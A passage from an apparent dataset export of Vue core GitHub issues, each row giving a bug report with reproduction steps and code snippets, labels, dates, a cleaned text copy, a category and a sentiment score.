[play.vuejs.org/](https://play.vuejs.org/#eNq9Vd9v2jAQ/ldOeSFIkLRqnyigsZZJm7auon1bpiokB7h17Mh2KIjxv+/ihJCwDjFpbR4i3313vs/3+cfGGaWpt8zQ6Tl9HSmWGtBoshR4KOaDwDE6cIaBYEkqlYENKJx16BdGhi0RtjBTMoEWTdAKRCAiKbSB0WTy+HV8CwM4P7PfHpoxzh9DpQjbTeKOlArXbpnU9vIQ96zd3qUoXKLSeFqWl4Sp6z52gLVhMKQ/TRMIjgYMavOJgh5YgvlERGrnnhQVDhCpYlQ9aI3ur1vwC1o343wwKBzNFVkuBLm26CYQ8Ee5m9CgJ+SLS4SgakNB+1toFp4KRSwTNyd8LBu6TTAQ25zLQbP+QuhgoU1OtT575bgAjmaWfOq4pdT3i91Ee4cMg0nKKYcsgH7MlqDNmiPtr5hpQtY9mHFcXUEkeZaI7jxMe3CuMLmyuw/o65twyhGmVpbSl3unMl5XZu7Yg4UdN2zyLC6G15lSKPbbkZqVD+GFmUUPNpsK+HH2E7bbvk85jVn9xrRk1quewuFyaAtGkkQz1DVbtSm7b48PlddU//KE+v/EYJoZIwV8iDiLnkmIah9Tx3MOYI2+X8SdvHoyaoqQlav2lhLWtm24bmlSTlFLkWNCqO1qLeIN5SyrvKJo4+y8r6j164B0LZn8d2n7Ph1pGpFvf9CdjlO8Gl26k70nLQW9MfYqCkqAnhZqUjFd4IwLye54Zv2BszAm1T3fz0T6PPcimfilqt3UxuSJdNNsqZDRdP3N2PygDOWkjKP6nhpG12OjXMi5fPlifUZl2Nn5owVGz6/4n/SqoHWnUKNaYuBUmAnVHE0Bj+9vcUXjCkxknHGKPgJOUNO9l3Mswj5mIibatTjL9rPtGhPzBz1eGRR6t6icqO2GjQ8ceo6vjyx9T/fCu6y6uP0N79F37g==)







### Steps to reproduce
Click the `Fill Array`  and `Reverse Array` button to see bench results.

### What is expected?
I have some optimizations to lower the cost by shallow the dependency collection which can minor the runtime.

### What is actually happening?
Current situation is heavy array cost a bunch of time when call the `fill` and `reverse` function.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-02-26 09:37:18+00:00,2025-04-13 14:28:29+00:00,2,nan,46.2022,native and function cost performance problem when called on heavy array version play vuejs org click the and button to see bench results what is expected i have some optimizations to lower the cost by shallow the dependency collection which can minor the runtime what is actually happening current situation is heavy array cost a bunch of time when call the and function,bug,-0.1531
vuejs/core,2879897416,vue-tsc don't generate declaration types after the Build,"### Vue version

latest

### Link to minimal reproduction

no link

### Steps to reproduce

Hello all!

I don't know if everyone has the same problem like me.
After updating my vue project, when i run the command pnpm vue-tsc --declaration --emitDeclarationOnly but, no types declarations have been generated.
I have downloaded the latest lite vuejs project and run the same command, nothing in the dist folder.

This is my current tsconfig file:
{ ""extends"": ""@vue/tsconfig/tsconfig.dom.json"", ""include"": [""env.d.ts"", ""src/**/*"", ""src/**/*.vue""], ""compilerOptions"": { ""tsBuildInfoFile"": ""./node_modules/.tmp/tsconfig.app.tsbuildinfo"", ""declarationDir"": ""./dist/types"", ""noEmit"": false, ""declaration"": true, ""outDir"": ""./dist"", ""paths"": { ""@/*"": [""./src/*""] } } } 

### What is expected?

no things

### What is actually happening?

I want to build my vuejs package with ts declaration but, with this latest i have no thing like that in the dist folder. i have thought that, may be it's my configs then, i've try to build a lite vuejs project after add some tsconfig for declarations emissions, unfortunately i've the same result.

### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-02-26 01:27:20+00:00,2025-03-01 12:35:53+00:00,3,can't reproduce,3.4643,vue tsc don t generate declaration types after the build vue version latest link to no link hello all i don t know if everyone has the same problem like me after updating my vue project when i run the command pnpm vue tsc declaration emitdeclarationonly but no types declarations have been generated i have downloaded the latest lite vuejs project and run the same command nothing in the dist folder this is my current tsconfig file extends vue tsconfig tsconfig dom json include env d ts src src vue compileroptions tsbuildinfofile node modules tmp tsconfig app tsbuildinfo declarationdir dist types noemit false declaration true outdir dist paths src what is expected no things what is actually happening i want to build my vuejs package with ts declaration but with this latest i have no thing like that in the dist folder i have thought that may be it s my configs then i ve try to build a lite vuejs project after add some tsconfig for declarations emissions unfortunately i ve the same result system info any additional comments no response,others,-0.705
vuejs/core,2878694276,custom formatter doesn't print ref value properly,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/github-ugyyhuvm?file=components%2FHelloWorld.vue

### Steps to reproduce

Is this a regression ?
I have a very simple store that export an hardcoded `user` object.

I added this to my component:
```js
const store = useAuthStore();
const { user } = storeToRefs(store);
console.log(user);
console.log(user, user.value);
```
The first console.log is undefined.
The second one is not:
```sh
Ref<undefined>
Ref<Object>, Reactive<Object>
```

### What is expected?

`console.log(user);` alone should return `Ref<Object>`.

### What is actually happening?

`console.log(user);` returns `Ref<undefined>`.

### System Info

```shell
System:
    OS: macOS 15.3.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 2.34 GB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.18.0 - ~/.nvm/versions/node/v20.18.0/bin/node
    npm: 10.8.2 - ~/.nvm/versions/node/v20.18.0/bin/npm
  Browsers:
    Chrome: 133.0.6943.127
    Chrome Canary: 135.0.7035.0
    Edge: 133.0.3065.82
    Safari: 18.3
    Safari Technology Preview: 18.2
  npmPackages:
    vue: latest => 3.5.13
```

### Any additional comments?

_No response_",🔩 p2-edge-case,2025-02-25 15:04:05+00:00,2025-03-14 00:19:07+00:00,2,🔩 p2-edge-case,16.3854,custom formatter doesn t print ref value properly vue version link to is this a regression i have a very simple store that export an hardcoded object i added this to my component the first console log is undefined the second one is not what is expected alone should return what is actually happening returns system info any additional comments no response,others,-0.2023
vuejs/core,2876011590,"Type errors when defining prop interfaces when ""declaration"" is true in tsconfig.json","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFqAjEQ/ZWQSyvIithe7FZoi4cKVakeAyXE2TU2m4Qka5Vl/72TLFqF4i3z3svMmzcNfbE229dAxzT3wkkbiIdQW6K4Lp8ZDZ5RUoIGJwWWa0YnTMvKGhdIQzZQSA1LZ6wnLSmcqcgdNrtjGkU6gCu4APJxXFkQkqtO2DBNiOYVjIkPTuryKQJhi68xWWPRMn3ROL/+PrnvoSQfdGbRDBYBKqt4AKwIybfDSdOkAaRt8wGWCbYOIj5bLeZZN1cWx/s0tpeEURA7X3SjfQxAGF3IMtt5ozGl5J5RYSorFbiFDdJoDGnc7RU5rpT5mSUsuBr6J1xsQXz/g+/8IWKMLh14cHtg9MwF7koIHT1dzeGA7zNZmU2tUH2D/ARvVB09drLXWm/Q9oUuuX1PF8Uo1n56CKD9aakroxsQijt+6ha5SLVJwChe/u1GLH+rjLKH9A9PjQl/7cHFeRjuKHvMhiPa/gJ39N4I

### Steps to reproduce

1. In tsconfig.json, set `""declaration"": true`
2. Write an SFC with a script setup block and an attribute naming a generic, like `generic=""T""`
3. Write a props interface using the generic and pass it to the type parameter in `defineProps`
4. Observe a type error saying ""Default export of the module has or is using private name""

### What is expected?

This should not trigger a type error, which is how it works when no generic attribute is provided.

### What is actually happening?

There is a type error saying ""Default export of the module has or is using private name""

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2025-02-24 19:55:24+00:00,2025-02-25 05:46:47+00:00,1,scope: types,0.4107,type errors when defining prop interfaces when declaration is true in tsconfig json vue version link to in tsconfig json set write an sfc with a script setup block and an attribute naming a generic like write a props interface using the generic and pass it to the type parameter in observe a type error saying default export of the module has or is using private name what is expected this should not trigger a type error which is how it works when no generic attribute is provided what is actually happening there is a type error saying default export of the module has or is using private name system info any additional comments no response,bug,-0.9081
vuejs/core,2874784843,Destructured props completely disappear (ReferenceError) after shadowing + try/catch in <script setup>,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-amw4dfwg

### Steps to reproduce

```typescript
<script setup lang=""ts"">
import { ref } from 'vue';

const { msg } = defineProps<{
  msg: string;
}>();

console.log('FIRST LOG', msg);
const fun = () => {
  const msg = null;
  try {
    console.log('');
  } catch (e) {
    console.log(e);
  }
};
console.log('SECOND LOG', msg);
</script>
```

### What is expected?

There should be no errors, and two log messages:
- `FIRST LOG HELLO WORLD!`
- `SECOND LOG HELLO WORLD!`

Note that shadowing the variable `msg` in the function scope is valid JavaScript/TypeScript and should not affect the outer scope variable.

### What is actually happening?

The first `console.log` produces a log message as expected.
But the second one raises a ReferenceError, indicating that the variable `msg` doesn't exist at all in the scope (not just undefined - the variable itself is missing):

```
HelloWorld.vue:17 Uncaught (in promise) ReferenceError: msg is not defined
    at setup (HelloWorld.vue:17:36)
    at callWithErrorHandling (vue.js?v=5b865bf9:2263:19)
    at setupStatefulComponent (vue.js?v=5b865bf9:9983:25)
    at setupComponent (vue.js?v=5b865bf9:9944:36)
    at mountComponent (vue.js?v=5b865bf9:7300:7)
    at processComponent (vue.js?v=5b865bf9:7266:9)
    at patch (vue.js?v=5b865bf9:6782:11)
    at ReactiveEffect.componentUpdateFn [as fn] (vue.js?v=5b865bf9:7490:9)
    at ReactiveEffect.run (vue.... [TRUNCATED]",,2025-02-24 12:19:31+00:00,2025-02-24 12:59:42+00:00,1,nan,0.0279,destructured props completely disappear referenceerror after shadowing try catch in vue version link to what is expected there should be no errors and two log messages note that shadowing the variable in the function scope is valid javascript typescript and should not affect the outer scope variable what is actually happening the first produces a log message as expected but the second one raises a referenceerror indicating that the variable doesn t exist at all in the scope not just undefined the variable itself is missing helloworld vue uncaught in promise referenceerror msg is not defined at setup helloworld vue at callwitherrorhandling vue js v b bf at setupstatefulcomponent vue js v b bf at setupcomponent vue js v b bf at mountcomponent vue js v b bf at processcomponent vue js v b bf at patch vue js v b bf at reactiveeffect componentupdatefn as fn vue js v b bf at reactiveeffect run vue truncated,bug,-0.4111
vuejs/core,2874480128,Cannot automatically deconstruct when using computed property in template,"`<a-tag  :color=""computedColor(record.inventoryStatus)"">{{ computedInventoryStatus(record.inventoryStatus) }}</a-tag>`
Both `computedColor ` and  `computedInventoryStatus ` function return the value of a computed property，`computedInventoryStatus ` can work normally，but `computedColor `  not working properly, need to add `.value` to work properly, like this `<a-tag  :color=""computedColor(record.inventoryStatus).value"">{{ computedInventoryStatus(record.inventoryStatus) }}</a-tag>`

vue version 3.2.13
",,2025-02-24 10:23:36+00:00,2025-02-24 12:09:00+00:00,2,nan,0.0732,cannot automatically deconstruct when using computed property in template both and function return the value of a computed property can work normally but not working properly need to add to work properly like this vue version,others,0.6059
vuejs/core,2873223823,Parent scoped styles not working with multi-root component with Teleport,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1Uj1PwzAQ/SuWlywoAcFU0kh8dCgDIOjoJTjX1q1jW/alpKr637GdJm0F6saWe/fu+d3l7eiDMemmATqiueNWGCQOsDEFU4SI2miL5LlEmCrTIJlbXZMkzQYkjCZM5Vk366d8gVAb6RmhwtwBR6FVLHx5FOOydG6czAXIKinyo2h8m5D/oHqjg508OzWqcodbCcRxbaCKbg9UkkYxsuveqku7EGpEbq5Nex+gfdw/DBf0iqIXUHOxSFdOK3/VOMUo17UREuybCZKO0VGvx2gppf5+iRjaBq56nC+Br//AV64NGKPvFhzYDTA69NC7A+zak89XaP330Kx11UjPvtD8AKdlEzx2tMdGVd72CS+6ncZkCLWYuUmLoFy/VDAajxL5jPp8PF1Y/Wj3Nr07HHPvr3gWsF/ZvBQ3EVOAWwPjBP2GSfffZyAhhhn1OPnS1TbgMZCV2BRpmlZegRjB12DJEix4KM9Cr4tNP3+eG7r/AR1EGms=

### Steps to reproduce

I want to create pure component (without unnecessary wrapping tags) with one real root and additional teleported tags. But now it gives an error.

Example:
**App.vue**
```
<template lang='pug'>
	section
		DateInput.field
		DateInput.field
		DateInput.field
</template>

<style lang='sass' scoped>
	section
		.field
			margin: 10px
</style>
```

**DateInput.vue**
```
<template lang='pug'>
	input(type='text')
	Teleport(to='body')
		div ...date picker here...
</template>
```

### What is expected?

```
<section data-v-11111111>
	<input data-v-11111111 data-v-22222222 type=""text"">
	<!-- ... -->
</section>
```

### What is actually happening?

`data-v-11111111` is missing, console show error ""Extraneous non-props attributes (class) were passed to component but could not be automatically inherited because component renders fragment or text or teleport root nodes"".

```
<section data-v-1... [TRUNCATED]",,2025-02-23 14:13:40+00:00,2025-02-24 00:27:19+00:00,1,nan,0.4261,parent scoped styles not working with multi root component with teleport vue version link to i want to create pure component without unnecessary wrapping tags with one real root and additional teleported tags but now it gives an error example app vue dateinput vue what is expected what is actually happening is missing console show error extraneous non props attributes class were passed to component but could not be automatically inherited because component renders fragment or text or teleport root nodes section data v truncated,others,-0.8779
vuejs/core,2865895736,Suspense unmounts with an error if it renders a component with a root node implementing a client-only behavior,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU8tu2zAQ/BWWF9uoa6FoT65sNC1yaIG2QV3kxIsqrWQmNCnwoTgQ9O/dFSXZRRLHJ3J3Zji7Grf8qq5XTQC+5qnLraw9c+BDvRVaHmpjPWtZAaXUcOUedf7VYFGD9ktmoWQdK605sBkKzD4JLXRutPOMUGzzLG8+X7DNlkXt+WyVUIcMzBaLMwW3N0EVu715+J+Oqvju3NsABE+T6Bnd4sXDoVaZB7wxlv4N3hvNPudK5vcbwS9IvnmpJ/jWm6pSkCZRLkrvgqtBO2DNO1lekEY64ZFBpXik38FVyLqVHthbdhtA8NhLonwy6uM1Taap+JJ7h+spZbW6c0bjJ2sJL3iO6lKB/VV7iesTfM36DvUypczD975GW1uO9XwP+f0z9Tt3pJrgNxYc2AbNTT2f2QpwKmpf737CEc9T82CKoBB9ofkbnFGBPEbYl6ALtH2G691+68MhdfXHXR89LmIciowSsuvxgmNsaLEvjX6y+2H1secJ3eEWx8hdyrzRP0zQHoqnQaesxWjfWFO7ef8eftI123mLrtFctzhFWbpBachumSnXh1fo6ZHhX9ErTfhVk6kAyKKxEd+9lvhCNmMiJ5FTBPfvt21LPlnXpQneSKHvEC9XmXNIzDN74uBYg0oEJogcIjqd4qOAMw0kbfxIY4+4/jP4WZjpcd79A7O0hXo=

### Steps to reproduce

1. Click the `toggle` button

### What is expected?

The `Suspense` component unmounts without an error.

### What is actually happening?

The `Suspense` component unmounts, but the app crashes - the error pops up and the `toggle` button no longer works.

### System Info

```shell

```

### Any additional comments?

I was trying to implement a loader for async components with some reload logic (retries, reload when connection is restored - things like that). And one of the components had a client-only logic in it: it was rendering the actual content only after the `mounted` hook. I didn't use the `errorComponent`/`onError` from the `AsyncComponentOptions` because i needed to reload the componen... [TRUNCATED]","scope: suspense,has workaround,:hammer: p3-minor-bug",2025-02-20 11:32:33+00:00,2026-03-25 08:28:46+00:00,2,"scope: suspense,has workaround,:hammer: p3-minor-bug",397.8724,suspense unmounts with an error if it renders a component with a root node implementing a client only behavior vue version link to click the button what is expected the component unmounts without an error what is actually happening the component unmounts but the app crashes the error pops up and the button no longer works system info any additional comments i was trying to implement a loader for async components with some reload logic retries reload when connection is restored things like that and one of the components had a client only logic in it it was rendering the actual content only after the hook i didn t use the from the because i needed to reload the componen truncated,bug,-0.5346
vuejs/core,2864974274,v-model 如果数据变更，卸载组件会产生游离节点；数据不变更时无此现象,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9Uc1uEzEQfhXjS1up2S0KcEg3EVAVCQ6AKEdLaLOZTdx6bcs/m6DVHvsEwIE7SH2EHqq+Tf/eomNvN22lqj555vtm5vtmGvpO66T2QEc0c1BpkTuYMElINvXOKfy8LQQvjsaMKnngpxV3jE72DCAvSztO5DcN4VJ7R9o2lpfKVKQe8BIr7UItP2DMKCEiny75zC0wnXunMGXdTwEYVvlqEKERebOzo1c4J3QKL+ta14NKzUAgN8aMpp3UNAzDb5Y+sIChLQzXDkfKOdY4G4aB8xpRXmllHGmIgZK0pDSqIhu4hw0mCyWtuzMzDvjm1m6f7Z3cAc54uAf7BSG4uUXGE9IEdbFRUufCAwLSC7FL0pRcnh7f/P13ff7r4vj/xdmfq98ngdz3X/NfPM7gLFxvlnbO0AfdRl84vuTz5NAqiXeMUxktVKW5APNFO47yGB11egKWC6GWn2IuWNju88UCiqMn8ocWrzHCz1cDFkwNjK4xl5s54C0CvH/wGVb4X4N4Ly+Q/Qz4DawSPmjsaO+9nKHsB7yo9mM8GJfz73Z/5UDa3lQQGpht5DOKR9x7xvq93GHyKtbhSnGLP2owoScucJi8Tl4OaXsLO20QBw==

### Steps to reproduce

描述：v-model 如果数据变更，卸载组件会产生游离节点；数据不变更时无此现象

视频：https://github.com/user-attachments/assets/a3c19e3e-d6a3-4ba3-8b01-3c52e40dc929

### What is expected?

v-model 如果数据变更，卸载组件不会产生游离节点

### What is actually happening?

vModelText 源码实现是否有问题？为何不添加beforeUnmount生命周期移除监听事件？

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-20 03:28:29+00:00,2025-02-20 04:09:02+00:00,0,nan,0.0282,v model vue version link to v model what is expected v model what is actually happening vmodeltext beforeunmount system info any additional comments no response,others,-0.296
vuejs/core,2859909184,Nested Vue component does not render when bundled separately using Webpack for Options API,"### Vue version

3.5.13 (also tested on 3.3.11)

### Link to minimal reproduction

https://github.com/gerteck/vue-render-bug

### Steps to reproduce

1. **Setup**:
   - Create a Vue project with components using Vue 3.x.
   - Bundle Vue components separately from the server-side rendering logic using Webpack (using `webpack-vue.config.js`).
   - Use the bundled components in the server-side rendering script (`index.mjs` or `index-server.js`).


Actual Behavior: When Vue components are bundled separately (using Webpack) and imported into the server-side code, the nested components do not render as expected. The output is missing the content of the child component (Test2Component), but the parent component (TestComponent) is rendered.

### What is expected?

**Expected Behavior**:

The nested Vue component (e.g., `TestComponent`) should render correctly with its child components (e.g., `Test2Component`) when bundled separately.


### What is actually happening?

When Vue components are bundled separately (using Webpack) and imported into the server-side code, the nested components do not render as expected. The output is missing the content of the child component (`Test2Component`), but the parent component (`TestComponent`) is rendered.

The child component is rendered as a empty comment. 

Also getting the relevant errors (tested on separate setup)
```
[Vue warn]: resolveComponent can only be used in render() or setup().
[Vue warn]: Component <Anonymous> is missing template o... [TRUNCATED]",,2025-02-18 10:00:04+00:00,2025-02-19 00:13:14+00:00,1,nan,0.5925,nested vue component does not render when bundled separately using webpack for options api vue version also tested on link to setup create a vue project with components using vue x bundle vue components separately from the server side rendering logic using webpack using use the bundled components in the server side rendering script or when vue components are bundled separately using webpack and imported into the server side code the nested components do not render as expected the output is missing the content of the child component test component but the parent component testcomponent is rendered what is expected the nested vue component e g should render correctly with its child components e g when bundled separately what is actually happening when vue components are bundled separately using webpack and imported into the server side code the nested components do not render as expected the output is missing the content of the child component but the parent component is rendered the child component is rendered as a empty comment also getting the relevant errors tested on separate setup vue warn resolvecomponent can only be used in render or setup vue warn component is missing template o truncated,others,-0.9032
vuejs/core,2857691337,v-model cannot be used with custom element created with defineCustomElement() and defineModel(),"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/stackblitz-starters-rwpavvok?file=vue-app%2Fsrc%2FApp.vue&view=editor

### Steps to reproduce

- Create a lib with vite/vue
- Create a custom element inside the lib that uses 'defineModel()' to enable two-way data binding
- Register it with `defineCustomElement()`
- Consume this element in a vue app

### What is expected?

`v-model` can be used to create two-way data binding with the custom element.

### What is actually happening?

`v-model` cannot be used. Instead, two-way data binding has to be setup manually:

```html
<p>foo: {{ foo }}</p>
<p>
  This won't work:
  <vv-ce v-model=""foo""></vv-ce>
</p>
<p>
  This will work:
  <vv-ce :modelValue=""foo"" @update:modelValue=""foo = $event.detail[0]""></vv-ce>
</p>
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
```

### Any additional comments?

_No response_",,2025-02-17 12:19:23+00:00,2025-02-18 01:04:03+00:00,1,nan,0.531,v model cannot be used with custom element created with definecustomelement and definemodel vue version link to create a lib with vite vue create a custom element inside the lib that uses definemodel to enable two way data binding register it with consume this element in a vue app what is expected can be used to create two way data binding with the custom element what is actually happening cannot be used instead two way data binding has to be setup manually system info any additional comments no response,others,0.6249
vuejs/core,2857594552,The template ref was not set to null correctly after the conditional rendering was updated,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ustu2zAQ/JUtD5EMCDJStxfXCdAWObRAH0h9q4KAkFYyE4oUSEpxYOjfs6QkWwmSXGxxZ2Z39nFgX5sm7Vpka7axuRGNA4uubS4zJepGGwcH2CVgsExAq1+6VQ6LBAoshcLvmigKlUtA4d5tRX4PPZRG1xBRzihTmcq1sg62SD8XL2XxIVMw1IsXEB4Ag6CUvCIB1Y2daXHxZQ6ixJrk11iOFA8PhKPHmNtHlQPlvbicUkNIm3ZctkjKkkuLY2IA/sCFO/YRUg6Ar6klplJX8anykGVi9ScHhtox6mXhMfp/ej+zcnYGuzgqRBclNG5qaD1vsU/AY+fRIjmpP7wlH9kfZ+ybyWT47yke7G6Ww8Jp1fRwWDeSO6QXwCbsa0nfm+UMYAlzlsZRiiq9s1rR0YQGM5bTSoVE86dxgsaVsfXUesa4lPrhZ4j5VY62SLPD/P6V+J3d+1jG/hq0aDrM2BFz3FToBvjq329a1gysddFKYr8DXiOtsvUeB9q3VhVke8YLbn+E0xeq2tqrvUNlp6a80WmInk1X7q/5rdZPdlfpp6Cj2dMUbzs0PicNcJV+Ts9XrH8CvcIf9Q==

### Steps to reproduce

```vue
<script setup>
import { h, ref, onMounted, defineComponent, nextTick } from 'vue'

const Test = defineComponent({
  setup() {
    const flag = ref(true);
    const elementRef = ref();

    onMounted(async () => {
      flag.value = false;
      await nextTick();
      console.log(elementRef.value);
    });

    return () => {
      return [
        flag.value && h('div', { ref: elementRef }, 'div1'),
        !flag.value && h('div', {}, 'div2'),
      ];
    };
  },
});
</script>

<template>
  <Test />
</template>
```


### What is expected?

The final value of elementRef is null

### What is actually happening?

The final value of elementRef is div2

### System Info

```shell
System:
    OS: macOS 14.6
    CPU: (12) x64 Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz
    Memory: 3.62 ... [TRUNCATED]",:hammer: p3-minor-bug,2025-02-17 11:38:33+00:00,2025-06-05 02:19:50+00:00,0,:hammer: p3-minor-bug,107.612,the template ref was not set to null correctly after the conditional rendering was updated vue version link to what is expected the final value of elementref is null what is actually happening the final value of elementref is div system info shell system os macos cpu x intel r core tm i h cpu ghz memory truncated,bug,0.5859
vuejs/core,2857325698,Default value set by `withDefaults` + `defineProps` is not correct,"### Vue version

3.4.14

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kT1vwjAQhv+K5QWQEB3YIqDqB0M7tKjt6CUKl2Dq2JbvDJHS/Peek/IxVGy+933te+7cygfvZ4cIMpMLLIL2JBAoemFyWy2VJFRypWzhLJLwwXkUS3HUtHuGMo+GcLyFUlvYJGvRKisEhODCfSbK3CCIH4EUtK2U7VbjyVRcIpkYjVidKLu4G1pzIy4Iam9yAq6EaNu/rl2XcleenDIcc5W6mu3RWZ6gf1vJwtVeGwjvnjRzK5kNXZOXG+OOr71GIcL0pBc7KL7/0ffYJE3JTQCEcAAlzx7loQIa7PXnGzR8Ppu120bD6RvmB6AzMTEOscdot4x9letpX2rvAvEKv3DdEFg8DZVAU7Lr80ryNz7dGP2CO5/N+3u8fdn9AvnNrDs=

### Steps to reproduce

Use `withDefaults` + `defineProps`  and define the type and default value

```
const props = withDefaults(defineProps<{
  error?: false | string
}>(), {
  error: ''
})
```

![Image](https://github.com/user-attachments/assets/c6eb13b6-966a-45ba-af5a-869cea9805c2)

### What is expected?

`props.error === ''`

### What is actually happening?

`props.error === true`

### System Info

```shell
  System:
    OS: macOS 13.5.2
    CPU: (10) x64 Apple M1 Pro
    Memory: 27.73 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 18.20.1 - ~/.nvm/versions/node/v18.20.1/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 10.5.0 - ~/.nvm/versions/node/v18.20.1/bin/npm
    pnpm: 8.15.9 - ~/.nvm/versions/node/v18.20.1/bin/pnpm
    Watchman: 2024.11.11.00 - /usr/local/bin/watchman
  Browsers:
    Chrome: 133.0.6943.55
    Safari: 16.6
```

### Any additional comments?

_No response_",,2025-02-17 09:50:26+00:00,2025-02-17 09:54:53+00:00,3,nan,0.0031,default value set by is not correct vue version link to use and define the type and default value image what is expected what is actually happening system info any additional comments no response,others,0.3818
vuejs/core,2857188716,JSX render parse error,"### Vue version

latest

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-j8qgog1u?file=src%2FApp.vue,tsconfig.app.json&terminal=dev

### Steps to reproduce

run this repo, it will render `() => /* @__PURE__ */ React.createElement(""div"", null, ""123"")`

### What is expected?

normal display `123`

### What is actually happening?

Get a error message: `ReferenceError: React is not defined`

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-17 08:54:11+00:00,2025-02-17 09:02:50+00:00,1,nan,0.006,jsx render parse error vue version latest link to run this repo it will render what is expected normal display what is actually happening get a error message system info any additional comments no response,bug,-0.802
vuejs/core,2857064006,Vue JSX 事件属性不能正确覆盖,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UktOwzAQvYrlTVOpSsVnVaWVALGABSBgh1mEdBrcumPLn1Ip6oYNZ0KcB3ENJk7SdlFYeTzvzZuZZ1f8zJh0FYCPeOYKK41nKsdyLPjcrQWfCJRLo61nFbMwG7ApzCTChaYkAnq2YTOrl6xHEj2BAmEd2UTLg4rnPj2pBDLmwAeT9Fm8MFZodNRVl46N6ybJ03N/HzFWmxpq6YxpvFCyWIwYaYwnsTJd5SpAaoJ7TY7a6k1zWOpmseVmtFCdzF6C95rmbRSrNE1jm7Zm22NcHe5x3G+Zk5/3z++Pr2zYCHbyxkIbkvhe8VxLTHpCYK8TyIY7bjaMASEb2kFgNmyehLJ8wL0jP2ayTOdOI71X9EPwgsyVCuyt8ZL8EnzUOSV4rpR+u445bwMMunzxCsXiQD6++YiCOwsO7AoE32I+tyX4Br58uIE1xVtwqadBEfsf8B6cVqGesaGdB5zS2Hu8OO1V/G4Sy0d3ufaArluqHjS6E/mC04+r/9Vfq+/GPUlPO1f55hd0R/OY

### Steps to reproduce

JSX元素存在多个同名属性（示例里面是onClick）

### What is expected?

同名属性应该被覆盖，只会执行最后一个onClick

### What is actually happening?

全部都执行了

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-17 07:57:32+00:00,2025-02-17 09:05:12+00:00,4,nan,0.047,vue jsx vue version latest link to jsx onclick what is expected onclick what is actually happening system info any additional comments no response,others,-0.296
vuejs/core,2855144744,Custom events in functional TSX components throwing type error,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-u2jhnk4p?file=src%2FApp.tsx

### Steps to reproduce

[load repo in ide,](https://stackblitz.com/edit/vitejs-vite-u2jhnk4p?file=src%2FApp.tsx)(stackblitz) open up App.tsx:

![Image](https://github.com/user-attachments/assets/6f1ca0d6-dc09-4786-b24e-d4076e3951c8)

### What is expected?

No error on custom events in tsx files

### What is actually happening?

error on custom events in tsx files

### System Info

```shell
System:
    OS: macOS 14.6.1
    CPU: (12) arm64 Apple M3 Pro
    Memory: 216.02 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.11.0 - ~/.nvm/versions/node/v22.11.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v18.19.0/bin/yarn
    npm: 10.9.0 - ~/.nvm/versions/node/v22.11.0/bin/npm
    pnpm: 9.14.2 - ~/.nvm/versions/node/v22.11.0/bin/pnpm
    bun: 1.1.4 - /opt/homebrew/bin/bun
  Browsers:
    Chrome: 133.0.6943.55
    Edge: 133.0.3065.59
    Safari: 18.3


### package.json dependencies


{
  ""name"": ""vite-vue-typescript-starter"",
  ""private"": true,
  ""version"": ""0.0.0"",
  ""type"": ""module"",
  ""scripts"": {
    ""dev"": ""vite"",
    ""build"": ""vue-tsc -b && vite build"",
    ""preview"": ""vite preview""
  },
  ""dependencies"": {
    ""vue"": ""^3.5.13""
  },
  ""devDependencies"": {
    ""@vitejs/plugin-vue"": ""^5.2.1"",
    ""@vitejs/plugin-vue-jsx"": ""^4.1.1"",
    ""@vue/tsconfig"": ""^0.7.0"",
    ""typescript"": ""~5.7.2"",
    ""vite"": ""^6.1.0"",
    ""vue-tsc"": ""^2.2.0... [TRUNCATED]",,2025-02-15 04:33:53+00:00,2025-02-15 20:53:54+00:00,2,nan,0.6806,custom events in functional tsx components throwing type error vue version link to load repo in ide open up app tsx image what is expected no error on custom events in tsx files what is actually happening error on custom events in tsx files system info shell system os macos cpu arm apple m pro memory mb gb shell bin zsh binaries node nvm versions node v bin node yarn nvm versions node v bin yarn npm nvm versions node v bin npm pnpm nvm versions node v bin pnpm bun opt homebrew bin bun browsers chrome edge safari package json dependencies name vite vue typescript starter private true version type module scripts dev vite build vue tsc b vite build preview vite preview dependencies vue devdependencies vitejs plugin vue vitejs plugin vue jsx vue tsconfig typescript vite vue tsc truncated,bug,-0.8126
vuejs/core,2851158156,Watch is executed twice even though it's paused,"### Vue version

latest

### Link to minimal reproduction

